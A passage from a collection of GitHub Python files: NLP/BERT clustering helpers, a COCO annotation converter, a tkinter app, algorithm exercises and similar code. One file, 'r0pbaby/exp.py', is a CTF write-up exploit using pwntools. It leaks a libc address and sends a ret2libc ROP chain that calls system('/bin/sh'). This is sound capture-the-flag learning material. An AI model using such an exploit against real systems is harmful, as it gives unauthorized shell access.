size))\n","repo_name":"green1fellas/Python","sub_path":"ProjectEuler/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5851491274","text":"option = \"-\"\r\nwhile True:\r\n if option in range(1, 7):\r\n print(\"You have chosen option {}\".format(option))\r\n print(\"What else would you like to do? \")\r\n option = int(input())\r\n else:\r\n option = int(input(\"Please choose one of the options below :\\n\"\r\n \"1. Go Swimming\\n\"\r\n \"2. Go Trekking\\n\"\r\n \"3. Go Shopping\\n\"\r\n \"4. Go Skiing\\n\"\r\n \"5. Go Clubbing\\n\"\r\n \"6. Stay Home\\n\"\r\n \"0. Exit\\n\"))\r\n if option == 0:\r\n print(\"You are quitting\")\r\n break\r\n","repo_name":"Akhichow/PythonCode","sub_path":"Challenge2.py","file_name":"Challenge2.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70685972036","text":"import matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport numpy as np\nimport pandas as pd\nfrom sklearn.cluster import KMeans\n\n# Tokenizer\nimport nltk\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\ndef tokenizer_fct(sentence) :\n # print(sentence)\n sentence_clean = sentence.replace('-', ' ').replace('+', ' ').replace('/', ' ').replace('#', ' ')\n word_tokens = word_tokenize(sentence_clean)\n return word_tokens\n\n# Stop words\nfrom nltk.corpus import stopwords\nstop_w = list(set(stopwords.words('english'))) + ['[', ']', ',', '.', ':', '?', '(', ')']\n\ndef stop_word_filter_fct(list_words) :\n filtered_w = [w for w in list_words if not w in stop_w]\n filtered_w2 = [w for w in filtered_w if len(w) > 2]\n return filtered_w2\n\n# lower case et alpha\ndef lower_start_fct(list_words) :\n lw = [w.lower() for w in list_words if (not w.startswith(\"@\")) \n # and (not w.startswith(\"#\"))\n and (not w.startswith(\"http\"))]\n return lw\n\n# Lemmatizer (base d'un mot)\nfrom nltk.stem import WordNetLemmatizer\n\ndef lemma_fct(list_words) :\n lemmatizer = WordNetLemmatizer()\n lem_w = [lemmatizer.lemmatize(w) for w in list_words]\n return lem_w\n\n# Fonction de préparation du texte pour le bag of words (Countvectorizer et Tf_idf, Word2Vec)\ndef transform_bow_fct(desc_text) :\n word_tokens = tokenizer_fct(desc_text)\n sw = stop_word_filter_fct(word_tokens)\n lw = lower_start_fct(sw)\n # lem_w = lemma_fct(lw) \n transf_desc_text = ' '.join(lw)\n return transf_desc_text\n\n# Fonction de préparation du texte pour le bag of words avec lemmatization\ndef transform_bow_lem_fct(desc_text) :\n word_tokens = tokenizer_fct(desc_text)\n sw = stop_word_filter_fct(word_tokens)\n lw = lower_start_fct(sw)\n lem_w = lemma_fct(lw) \n transf_desc_text = ' '.join(lem_w)\n return transf_desc_text\n\n# Fonction de préparation du texte pour le Deep learning (USE et BERT)\ndef transform_dl_fct(desc_text) :\n word_tokens = tokenizer_fct(desc_text)\n# sw = stop_word_filter_fct(word_tokens)\n lw = lower_start_fct(word_tokens)\n # lem_w = lemma_fct(lw) \n transf_desc_text = ' '.join(lw)\n return transf_desc_text\n\n# Fonction de préparation des sentences\ndef bert_inp_fct(sentences, bert_tokenizer, max_length) :\n input_ids=[]\n token_type_ids = []\n attention_mask=[]\n bert_inp_tot = []\n\n for sent in sentences:\n bert_inp = bert_tokenizer.encode_plus(sent,\n add_special_tokens = True,\n max_length = max_length,\n padding='max_length',\n return_attention_mask = True, \n return_token_type_ids=True,\n truncation=True,\n return_tensors=\"tf\")\n \n input_ids.append(bert_inp['input_ids'][0])\n token_type_ids.append(bert_inp['token_type_ids'][0])\n attention_mask.append(bert_inp['attention_mask'][0])\n bert_inp_tot.append((bert_inp['input_ids'][0], \n bert_inp['token_type_ids'][0], \n bert_inp['attention_mask'][0]))\n\n input_ids = np.asarray(input_ids)\n token_type_ids = np.asarray(token_type_ids)\n attention_mask = np.array(attention_mask)\n \n return input_ids, token_type_ids, attention_mask, bert_inp_tot\n \n\n# Fonction de création des features\ndef feature_BERT_fct(model, model_type, sentences, max_length, b_size, mode='HF') :\n batch_size = b_size\n batch_size_pred = b_size\n bert_tokenizer = AutoTokenizer.from_pretrained(model_type)\n time1 = time.time()\n\n for step in range(len(sentences)//batch_size) :\n idx = step*batch_size\n input_ids, token_type_ids, attention_mask, bert_inp_tot = bert_inp_fct(sentences[idx:idx+batch_size], \n bert_tokenizer, max_length)\n \n if mode=='HF' : # Bert HuggingFace\n outputs = model.predict([input_ids, attention_mask, token_type_ids], batch_size=batch_size_pred)\n last_hidden_states = outputs.last_hidden_state\n\n if mode=='TFhub' : # Bert Tensorflow Hub\n text_preprocessed = {\"input_word_ids\" : input_ids, \n \"input_mask\" : attention_mask, \n \"input_type_ids\" : token_type_ids}\n outputs = model(text_preprocessed)\n last_hidden_states = outputs['sequence_output']\n \n if step ==0 :\n last_hidden_states_tot = last_hidden_states\n last_hidden_states_tot_0 = last_hidden_states\n else :\n last_hidden_states_tot = np.concatenate((last_hidden_states_tot,last_hidden_states))\n \n features_bert = np.array(last_hidden_states_tot).mean(axis=1)\n \n time2 = np.round(time.time() - time1,0)\n print(\"temps traitement : \", time2)\n \n return features_bert, last_hidden_states_tot\n\ndef feature_USE_fct(sentences, b_size) :\n batch_size = b_size\n time1 = time.time()\n\n for step in range(len(sentences)//batch_size) :\n idx = step*batch_size\n feat = embed(sentences[idx:idx+batch_size])\n\n if step ==0 :\n features = feat\n else :\n features = np.concatenate((features,feat))\n\n time2 = np.round(time.time() - time1,0)\n return features\n\nimport time\nfrom sklearn import manifold, metrics\nfrom sklearn.preprocessing import StandardScaler\n\n# Calcul Tsne, détermination des clusters et calcul ARI entre vrais catégorie et n° de clusters\ndef ARI_fct(features,l_cat) :\n time1 = time.time()\n num_labels=len(l_cat)\n tsne = manifold.TSNE(n_components=2, perplexity=30, n_iter=2000, \n init='random', learning_rate=200, random_state=42)\n X_tsne = tsne.fit_transform(features)\n \n # Détermination des clusters à partir des données après Tsne \n cls = KMeans(n_clusters=num_labels, n_init=100, random_state=42)\n cls.fit(X_tsne)\n ARI = np.round(metrics.adjusted_rand_score(y_cat_num, cls.labels_),4)\n time2 = np.round(time.time() - time1,0)\n print(\"ARI : \", ARI, \"time : \", time2)\n \n return ARI, X_tsne, cls.labels_\n\n# Calcul Tsne, détermination des clusters à partir des données de feautures \ndef ARI_fct_1(features,l_cat) :\n time1 = time.time()\n num_labels=len(l_cat)\n tsne = manifold.TSNE(n_components=2, perplexity=30, n_iter=2000, \n init='random', learning_rate=200, random_state=42)\n X_tsne = tsne.fit_transform(features)\n \n # Détermination des clusters à partir des données avant TSNE\n cls = KMeans(n_clusters=num_labels, n_init=100, random_state=42)\n scl=StandardScaler(with_mean=False).fit(features)\n X_std=scl.transform(features)\n cls.fit(X_std)\n \n ARI = np.round(metrics.adjusted_rand_score(y_cat_num, cls.labels_),4)\n time2 = np.round(time.time() - time1,0)\n print(\"ARI : \", ARI, \"time : \", time2)\n \n return ARI, X_tsne, cls.labels_\n\n# visualisation du Tsne selon les vraies catégories et selon les clusters\ndef TSNE_visu_fct(X_tsne, y_cat_num, labels, ARI) :\n fig = plt.figure(figsize=(15,6))\n \n ax = fig.add_subplot(121)\n scatter = ax.scatter(X_tsne[:,0],X_tsne[:,1], c=y_cat_num, cmap='Set1')\n #ax.legend(handles=scatter.legend_elements()[0], labels=l_cat, loc=\"best\", title=\"Categorie\")\n plt.title('Représentation des catégories réelles')\n \n ax = fig.add_subplot(122)\n scatter = ax.scatter(X_tsne[:,0],X_tsne[:,1], c=labels, cmap='Set1')\n #ax.legend(handles=scatter.legend_elements()[0], labels=set(labels), loc=\"best\", title=\"Clusters\")\n plt.title('Représentation des catégorie par clusters')\n \n plt.show()\n print(\"ARI : \", ARI)\n\n\ndef display_scree_plot(pca):\n scree = pca.explained_variance_ratio_*100\n plt.bar(np.arange(len(scree))+1, scree)\n plt.plot(np.arange(len(scree))+1, scree.cumsum(),c=\"red\",marker='o')\n #plt.axhline(y=100/pca.n_components, color='black', linestyle='-')\n plt.xlabel(\"rang de l'axe d'inertie\")\n plt.ylabel(\"pourcentage d'inertie\")\n plt.title(\"Eboulis des valeurs propres\")\n plt.show(block=False)\n\ndef display_kaiser_plot(pca):\n scree = pca.explained_variance_ratio_*100\n plt.bar(np.arange(len(scree))+1, scree)\n #plt.plot(np.arange(len(scree))+1, scree.cumsum(),c=\"red\",marker='o')\n plt.axhline(y=100/pca.n_components, color='black', linestyle='-')\n plt.xlabel(\"rang de l'axe d'inertie\")\n plt.ylabel(\"pourcentage d'inertie\")\n plt.title(\"Eboulis des valeurs propres\")\n plt.show(block=False)","repo_name":"Zekrifa-Abdelmoumen/OpenClassroom_project_6","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":8850,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"72535291393","text":"'''\nDescription:\nVersion:\nAuthor: Leidi\nDate: 2021-10-19 15:55:16\nLastEditors: Leidi\nLastEditTime: 2021-12-28 16:19:03\n'''\nimport cv2\nimport time\nimport numpy as np\n\nfrom utils.utils import *\nfrom base.image_base import *\nfrom utils.convertion_function import *\nfrom annotation.annotation_temp import TEMP_LOAD\n\n\ndef get_image_information(dataset: dict, coco: dict, n: int, temp_annotation_path: str) -> None:\n \"\"\"[获取暂存标注信息]\n\n Args:\n dataset (dict): [数据集信息字典]\n coco (dict): [coco汇总字典]\n n (int): [图片id]\n temp_annotation_path (str): [暂存标签路径]\n \"\"\"\n\n image = TEMP_LOAD(dataset, temp_annotation_path)\n if image == None:\n return\n # 图片基础信息\n image_information = {'license': random.randint(0, len(coco['licenses'])),\n 'file_name': image.image_name_new,\n 'coco_url': 'None',\n 'height': image.height,\n 'width': image.width,\n 'date_captured': time.strftime('%Y/%m/%d %H:%M:%S', time.localtime()),\n 'flickr_url': 'None',\n 'id': n\n }\n\n return image_information\n\n\ndef get_annotation(dataset: dict, n: int, temp_annotation_path: str) -> None:\n \"\"\"[获取暂存标注信息]\n\n Args:\n dataset (dict): [数据集信息字典]\n n (int): [图片id]\n temp_annotation_path (str): [暂存标签路径]\n \"\"\"\n\n image = TEMP_LOAD(dataset, temp_annotation_path)\n if image == None:\n return\n # 获取图片分割信息\n one_image_annotations_list = []\n if len(image.true_segmentation_list):\n for true_segmentation in image.true_segmentation_list:\n bbox = true_segmentation_to_true_box(true_segmentation)\n segmentation = np.asarray(\n true_segmentation.segmentation).flatten().tolist()\n area = int(cv2.contourArea(\n np.array(true_segmentation.segmentation)))\n one_image_annotations_list.append({'segmentation': [segmentation],\n 'bbox': bbox,\n 'area': area,\n 'iscrowd': true_segmentation.iscrowd,\n 'image_id': n,\n 'category_id': (dataset['detect_class_list_new'] + dataset['segment_class_list_new']).index(true_segmentation.clss),\n 'id': 0})\n # 图片真实框信息\n if len(image.true_box_list):\n for true_box in image.true_box_list:\n bbox = [int(true_box.xmin),\n int(true_box.ymin),\n int(true_box.xmax-true_box.xmin),\n int(true_box.ymax-true_box.ymin),\n ]\n segmentation = [str(true_box.xmin), str(\n true_box.ymin), str(true_box.xmax), str(true_box.ymax)]\n area = int(true_box.xmax-true_box.xmin) * \\\n int(true_box.ymax-true_box.ymin)\n one_image_annotations_list.append({'segmentation': [segmentation],\n 'bbox': bbox,\n 'area': area,\n 'iscrowd': 0,\n 'image_id': n,\n 'category_id': (dataset['detect_class_list_new'] + dataset['segment_class_list_new']).index(true_segmentation.clss),\n 'id': 0})\n\n return one_image_annotations_list\n","repo_name":"leidi1989/2D_Dataset_clean","sub_path":"Multi_task_dataset_clean_up/annotation/dataset_output_function/coco2017.py","file_name":"coco2017.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32690917981","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*\n\nfrom pwn import *\nfrom sys import argv\nfrom time import sleep\n\ncontext.terminal = ['terminator','-e']\ncontext.log_level = \"debug\"\n\nchall = \"./r0pbaby\"\nlibc = ELF(\"/usr/lib/libc.so.6\")\nelf = ELF(chall)\ncontext.binary = chall\ncontext.binary.checksec()\n\nif len(argv) >= 2 and argv[1] == \"r\":\n p = remote(\"example.com\", 4444)\nelif len(argv) >= 2 and argv[1] == \"d\":\n\tcmd = \"\"\"\n\t\tb __libc_start_main\n\t\tc\n\t\"\"\"\n\tp = gdb.debug(chall,cmd)\nelse:\n p = process(chall)\n\n\npop_rdi_offset = 0x27f75\nbin_sh_offset = 0x18bb62\n\n# Get libc base address\n#p.recvuntil(\": \")\n#p.sendline(\"1\")\n#p.recvuntil(\"libc.so.6: \")\n#libc_base = eval(p.recv(18))\n#log.info(\"libc_base: 0x{:08x}\".format(libc_base))\n#pop_rdi_addr = libc_base + pop_rdi_offset\n#log.info(\"pop rdi; ret: 0x{:08x}\".format(pop_rdi_addr))\n#bin_sh_addr = libc_base + bin_sh_offset\n#log.info(\"/bin/sh address: 0x{:08x}\".format(bin_sh_offset))\n\n# Get system@libc address\np.recvuntil(\": \")\np.sendline(\"2\")\np.recvuntil(\"Enter symbol: \")\np.sendline(\"system\")\np.recvuntil(\"Symbol system: \")\nsystem_libc_addr = eval(p.recv(18))\nlog.info(\"system@libc: 0x{:08x}\".format(system_libc_addr))\n\nlibc_base = system_libc_addr - libc.symbols['system']\nlog.info(\"libc_base: 0x{:08x}\".format(libc_base))\npop_rdi_addr = libc_base + pop_rdi_offset\nlog.info(\"pop rdi; ret: 0x{:08x}\".format(pop_rdi_addr))\nbin_sh_addr = libc_base + bin_sh_offset\nlog.info(\"/bin/sh address: 0x{:08x}\".format(bin_sh_addr))\n\npayload = b\"A\" * 0x8# buffer for saved rbp\npayload += p64(pop_rdi_addr)\npayload += p64(bin_sh_addr)\npayload += p64(system_libc_addr)\n\np.recvuntil(\": \")\np.sendline(\"3\")\np.recvuntil(\"Enter bytes to send (max 1024):\")\np.sendline(\"%d\" % (len(payload)))\np.sendline(payload)\n\np.interactive()\n","repo_name":"t3mp-0xCC/write-up","sub_path":"ctf4u/r0pbaby/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32272063396","text":"from aquilon.exceptions_ import ArgumentError\nfrom aquilon.aqdb.model import Host, Personality, HostGrnMap, PersonalityGrnMap\nfrom aquilon.worker.broker import BrokerCommand # pylint: disable=W0611\nfrom aquilon.worker.dbwrappers.grn import lookup_grn\n\n\nclass CommandDelGrn(BrokerCommand):\n\n def render(self, session, logger, grn, eon_id, **arguments):\n dbgrn = lookup_grn(session, grn, eon_id, logger=logger,\n config=self.config, usable_only=False)\n\n q1 = session.query(Host)\n q1 = q1.filter_by(owner_eon_id=dbgrn.eon_id)\n q2 = session.query(HostGrnMap)\n q2 = q2.filter_by(eon_id=dbgrn.eon_id)\n if q1.first() or q2.first():\n raise ArgumentError(\"GRN %s is still used by hosts, and \"\n \"cannot be deleted.\" % dbgrn.grn)\n\n q1 = session.query(Personality)\n q1 = q1.filter_by(owner_eon_id=dbgrn.eon_id)\n q2 = session.query(PersonalityGrnMap)\n q2 = q2.filter_by(eon_id=dbgrn.eon_id)\n if q1.first() or q2.first():\n raise ArgumentError(\"GRN %s is still used by personalities, \"\n \"and cannot be deleted.\" % dbgrn.grn)\n\n session.delete(dbgrn)\n session.flush()\n return\n","repo_name":"gombasg/aquilon","sub_path":"lib/python2.6/aquilon/worker/commands/del_grn.py","file_name":"del_grn.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"1959731216","text":"import sys\nimport math\nfrom string import ascii_lowercase\n\nl = int(input())\nh = int(input())\nt = input()\n\n\narr = []\nfor i in range(h):\n row = input()\n arr.append([row[x:x+l] for x in range(0, len(row), l)])\n print(arr[i], file=sys.stderr, flush=True)\n\nidx = [ord(char) - 97 for char in t.lower()]\n\nfor u in range(h):\n string = \"\"\n for num in idx:\n try:\n string += arr[u][num]\n except:\n string += arr[u][-1]\n print(string)","repo_name":"VedantNemane/Codingame","sub_path":"ASCII_Art.py","file_name":"ASCII_Art.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20230585061","text":"from tkinter import *\nfrom PIL import ImageTk, Image\n\nwindow = Tk()\nwindow.title('Application')\nwindow.geometry('600x600')\nwindow.configure(bg='red')\nwindow.iconbitmap('myico.ico')\n\n\nhome = Frame(window)\nhome.configure(bg='blue')\npage1 = Frame(window)\npage2 = Frame(window)\npage3 = Frame(window)\npage4 = Frame(window)\n\ndef raise_to(frame):\n frame.tkraise()\n\nfor frame in (home, page1, page2, page3, page4):\n frame.grid(row=0, column=0, sticky='news')\n\n# ================= Home Page ===================================\nimage = ImageTk.PhotoImage(Image.open('myIcon..png'))\nlogo = Label(home, image=image)\nlogo.pack(side='top')\nbutton = Button(home, text=\"next\", command=lambda:raise_to(page1))\nbutton.pack()\n\n# ==================== ===========================================\nwelcome1 = Label(page1, text=\"PageOne\")\nwelcome1.pack()\nbutton = Button(page1, text=\"next\", command=lambda:raise_to(page2))\nbutton.pack()\nwelcome2 = Label(page2, text=\"pageTwo\")\nwelcome2.pack()\nbutton = Button(page2, text=\"next\", command=lambda:raise_to(page3))\nbutton.pack()\nwelcome3 = Label(page3, text=\"pageThree\")\nwelcome3.pack()\nbutton = Button(page3, text=\"next\", command=lambda:raise_to(page4))\nbutton.pack()\nwelcome4 = Label(page4, text=\"pageFour\")\nwelcome4.pack()\nbutton = Button(page4, text=\"next\", command=lambda:raise_to(home))\nbutton.pack()\nraise_to(home)\nwindow.mainloop()\n","repo_name":"abdirahmandhiblaawe/python-projects","sub_path":"GUI programming/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23572697611","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport collections\nimport queue\n\ndef simulate(N, K):\n arr = [1] + [0] * N + [1]\n\n for k in range(K):\n max_pos = -1\n max_d_l = -1\n max_d_r = -1\n for i in range(1, N + 1):\n if arr[i] == 1:\n continue\n dist_r = arr.index(1, i) - i - 1\n rev_i = len(arr) - i - 1\n dist_l = arr[::-1].index(1, rev_i) - rev_i - 1\n# print(\"dist_l, dist_r = \", dist_l, dist_r)\n if min(dist_l, dist_r) > min(max_d_l, max_d_r) or \\\n min(dist_l, dist_r) == min(max_d_l, max_d_r) and \\\n max(dist_l, dist_r) > max(max_d_l, max_d_r):\n max_d_l = dist_l\n max_d_r = dist_r\n max_pos = i\n arr[max_pos] = 1\n\n return tuple(reversed(sorted([max_d_l, max_d_r])))\n\n\ndef split_two(n):\n mn = mx = (n - 1) // 2\n if mn + mx < n - 1:\n mx += 1\n return (mx, mn)\n \ndef add_num(q, c, n, num):\n if n not in c:\n q.put(-n)\n c[n] += num\n\ndef fast(N, K):\n q = queue.PriorityQueue()\n q.put(-N)\n c = collections.Counter()\n c[N] = 1\n while K > 0:\n n = -q.get()\n num = c[n]\n del c[n]\n if num >= K:\n return split_two(n)\n else:\n K -= num\n mx, mn = split_two(n)\n if mx == mn and mx != 0:\n add_num(q, c, mx, num * 2)\n else:\n if mn != 0:\n add_num(q, c, mn, num)\n add_num(q, c, mx, num)\n\n\n# for n in range(1, 1001):\n# for k in range(1, n + 1):\n# ans1 = simulate(n, k)\n# ans2 = fast(n, k)\n# if ans1 != ans2:\n# print(\"error! n, k, sim, fast = \", n, k, ans1, ans2)\n# sys.exit(0)\n# break\n# else:\n# pass\n\ndef solve():\n N, K = map(int, input().split())\n print(\" \".join(str(x) for x in fast(N, K)))\n\ndef main():\n T = int(input())\n for t in range(T):\n print (\"Case #\" + str(t+1) + \": \", end=\"\")\n solve()\n\nmain()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/543.py","file_name":"543.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34515117211","text":"# sleight_hand_b.py\n# ID успешной посылки 69396370\n\ndef input_data():\n key_board = []\n while len(key_board) != 16:\n key_board.extend([int(i) if i.isdigit() else 0 for i in list(input())])\n return key_board\n\n\ndef speed_typing(keys, key_board):\n points = 0\n for i in range(1, 10):\n if 0 < key_board.count(i) <= keys:\n points += 1\n return points\n\n\nif __name__ == '__main__':\n keys = (int(input()) * 2)\n print(speed_typing(keys, input_data()))\n","repo_name":"netzen86/ynx.alg","sub_path":"sleight_hand_B.py","file_name":"sleight_hand_B.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26035839089","text":"import numpy as np\r\nimport PIL.Image as Image\r\n\r\n\r\ndef get_data(data_list):\r\n with open(data_list,'r') as f:\r\n im_list = [line.rstrip().split(' ') for line in f.readlines()]\r\n return im_list\r\n\r\n\r\n'''gt_list = '/datatmp/Datasets/segmentation/cityscapes/gtFine_train_fullIds.txt'\r\ndata_gt = get_data(gt_list)\r\nfor i in range(len(data_gt)):\r\n\tgt = np.asarray(Image.open(data_gt[i][0]), dtype=np.uint8)\r\n\tif i == 0:\r\n\t\tacc_acum = np.zeros(gt.shape, dtype=np.int32)\r\n\tmask = gt == 1\r\n\tacc_acum = acc_acum + mask\r\n\tprint('%d/%d' % (i+1,len(data_gt)))\r\nprint(np.unique(acc_acum))\r\nmask = acc_acum != 0\r\nmask = Image.fromarray(np.uint8(mask)*255)\r\nmask.save('ego_vehicle_mask.png')'''\r\n\r\ngt_list = '/datatmp/Datasets/segmentation/bdd100k/train_bdd10k_images.txt'\r\ndata_gt = get_data(gt_list)\r\nfor i in range(len(data_gt)):\r\n\tgt = np.asarray(Image.open(data_gt[i][0]), dtype=np.uint8)\r\n\tif gt.shape[0] > gt.shape[1]:\r\n\t\tprint(data_gt[i][0])\r\n\t\tprint(gt.shape)\r\n\t'''print('%d/%d' % (i+1,len(data_gt)))'''","repo_name":"JoseLGomez/Co-training_SemSeg_UDA","sub_path":"tools/utils/generate_ego_vehicle_mask.py","file_name":"generate_ego_vehicle_mask.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9459986402","text":"# Use the summary stats and the external binary search to annotate the \n# positions of SNPs from a summary stats file\n\nimport csv\nimport subprocess\nimport sys\n\n###############################################################################\n# Summary stats filename\nsummaryStatsFilename = sys.argv[1]\n\n# The SNP ID index in the summary stats (Index starting at 0)\nsnpIndex = int(sys.argv[2])\n\npvalueIndex = int(sys.argv[3])\n\noutputFilename = sys.argv[4]\n\n# The name of the variation file\nvariationFilename = \"/mnt/isilon/sfgi/hammondrk/hg19Data/variation/hg19.snp151.sortedByName.txt\"\n\nbinarySearchPath = \"/home/hammondrk/pts-line-bisect/pts_lbsearch\"\n\n###############################################################################\n\ndef main():\n # Open the output file to write the data to\n with open(outputFilename, \"w\") as g_out:\n\n with open(summaryStatsFilename, \"r\") as f_in:\n reader = csv.reader(f_in, delimiter = \"\\t\")\n next(reader)\n\n for row in reader:\n snpID = row[snpIndex].split(\":\")[0]\n pvalue = row[pvalueIndex]\n\n command = \"%s -p %s %s | head -1 | awk -v OFS='\\t' '{ \"\\\n \"print $1,$2,$3; }'\" % (binarySearchPath,\n variationFilename, snpID)\n\n results = subprocess.run(command, shell = True,\n stdout=subprocess.PIPE)\n\n toWrite = results.stdout.decode(\"UTF-8\").strip()\n toWrite += \"\\t%s\" % pvalue\n\n g_out.write(\"%s\\n\" % toWrite)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rkweku/SubThresholdProjectScripts","sub_path":"createSummaryPosFromSummaryStats.py","file_name":"createSummaryPosFromSummaryStats.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5941781123","text":"import random\n\nclass Maze:\n\n def __init__(self, max_row = 12, max_sol = 12):\n \"\"\"Create a maze\"\"\"\n self.MAXROW = max_row\n self.MAXCOL = max_sol\n self.POSSIBLEPATH = ' '\n self.BLOCKER = '*'\n self.THEWAYOUT = '!'\n\n self.PATH_BLOCKER_RATIO = 0.5\n\n self.the_maze = self._gen_maze()\n\n\n def _gen_maze(self):\n\n \"\"\"Generate a random maze based on probability\"\"\"\n local_maze = [['*' for i in range( self.MAXCOL )] \\\n for j in range( self.MAXROW )]\n\n for row in range( self.MAXROW ):\n for col in range( self.MAXCOL ):\n threshold = random.random()\n if threshold > self.PATH_BLOCKER_RATIO:\n local_maze[row][col] = self.POSSIBLEPATH\n else:\n local_maze[row][col] = self.BLOCKER\n\n return local_maze\n\n \n def __str__(self):\n\n \"\"\"Generate a string representation of the maze\"\"\"\n maze_str = \" \"\n for i in range(self.get_col_size()):\n maze_str += str(i % 10)\n maze_str += \"\\n\"\n #print(self.the_maze)\n for i in range(self.get_row_size()):\n maze_str += str(i % 10)\n for j in range(self.get_col_size()):\n maze_str += self.the_maze[i][j]\n maze_str += \"\\n\"\n maze_str = maze_str.strip(\"\\n\")\n \n return maze_str\n \n\n def get_col_size(self):\n\n \"\"\"Return column count. \n Note: Mazes will not all be self.MAXROW by self.MAXCOL\"\"\"\n return len(self.the_maze[0])\n\n\n def get_row_size(self):\n\n \"\"\"Return row count\"\"\"\n return len(self.the_maze)\n\n\n def read_maze(self, file_name):\n\n \"\"\"Reading maze from a file.\n The file should be in the form of a matrix, e.g.,\n ** *\n * *\n ** *\n ** *\n would be a 4x4 input maze.\"\"\"\n file = open(file_name, \"rt\")\n lines = file.readlines()\n result = []\n for i in range(len(lines)):\n currentline = []\n currentline[:0] = lines[i].strip('\\n')\n result.append(currentline)\n self.the_maze = result\n\n\n def get_maze(self):\n\n \"\"\"Return a copy of the maze attribute\n this is a one-liner method \"\"\"\n return self.the_maze\n\n\n def is_clear(self, row, col):\n\n \"\"\"Return True if this cell is clear (pathway).\"\"\"\n if self.is_in_maze(row, col):\n if self.the_maze[row][col] in [\" \", \"$\"]:\n return True\n return False\n\n\n def is_in_maze(self, row, col):\n\n \"\"\"Return True if a cell is inside the maze.\"\"\"\n if row in range(self.get_row_size()) and col in range(self.get_col_size()):\n return True\n else:\n return False\n\n\n def set_value(self, row, col, value):\n\n \"\"\"Set the value to a cell in the maze\n For example, you will use this method to set the value of a cell to !, indicating that it has been visited \"\"\" \n self.the_maze[row][col] = str(value)\n\n\n def get_value(self, row, col):\n \n \"\"\"Return the value of the current cell.\"\"\"\n return self.the_maze[row][col]\n\n","repo_name":"mankinb/Mouse-in-a-Matrix","sub_path":"MazeBuilder.py","file_name":"MazeBuilder.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42713637338","text":"# Time: O(2^(n + m)), Space: O(n + m)\ndef dfs(s1, s2):\n return dfsHelper(s1, s2, 0, 0)\n\ndef dfsHelper(s1, s2, i1, i2):\n if i1 == len(s1) or i2 == len(s2):\n return 0\n \n if s1[i1] == s2[i2]:\n return 1 + dfsHelper(s1, s2, i1 + 1, i2 + 1)\n else:\n return max(dfsHelper(s1, s2, i1 + 1, i2),\n dfsHelper(s1, s2, i1, i2 + 1))\n\n\n# Time: O(n * m), Space: O(n + m)\ndef memoization(s1, s2):\n N, M = len(s1), len(s2)\n cache = [[-1] * M for _ in range(N)]\n return memoHelper(s1, s2, 0, 0, cache)\n\ndef memoHelper(s1, s2, i1, i2, cache):\n if i1 == len(s1) or i2 == len(s2):\n return 0\n if cache[i1][i2] != -1:\n return cache[i1][i2]\n\n if s1[i1] == s2[i2]:\n cache[i1][i2] = 1 + memoHelper(s1, s2, i1 + 1, i2 + 1, cache)\n else:\n cache[i1][i2] = max(memoHelper(s1, s2, i1 + 1, i2, cache),\n memoHelper(s1, s2, i1, i2 + 1, cache))\n return cache[i1][i2]\n\n\n# Time: O(n * m), Space: O(n + m)\ndef dp(s1, s2):\n N, M = len(s1), len(s2)\n dp = [[0] * (M+1) for _ in range(N+1)]\n\n for i in range(N):\n for j in range(M):\n if s1[i] == s2[j]:\n dp[i+1][j+1] = 1 + dp[i][j]\n else:\n dp[i+1][j+1] = max(dp[i][j+1], dp[i+1][j])\n return dp[N][M]\n\n\n# Time: O(n * m), Space: O(m)\ndef optimizedDp(s1, s2):\n N, M = len(s1), len(s2)\n dp = [0] * (M + 1)\n\n for i in range(N):\n curRow = [0] * (M + 1)\n for j in range(M):\n if s1[i] == s2[j]:\n curRow[j+1] = 1 + dp[j]\n else:\n curRow[j+1] = max(dp[j + 1], curRow[j])\n dp = curRow\n return dp[M]\n","repo_name":"mouseinthehouse/Advanced-Algorithms","sub_path":"python/dynamicProgramming/lcs.py","file_name":"lcs.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"40631472426","text":"# encoding: utf-8\n# author: Alan-learner\n\nimport math\nfrom collections import deque, defaultdict, Counter\nfrom math import inf\nfrom typing import List, Optional\nfrom bisect import bisect_left, bisect_right\nfrom functools import reduce\nfrom heapq import heappush, heappop, heapreplace, heapify\nfrom math import comb\nfrom executing import cache\nfrom yarl import 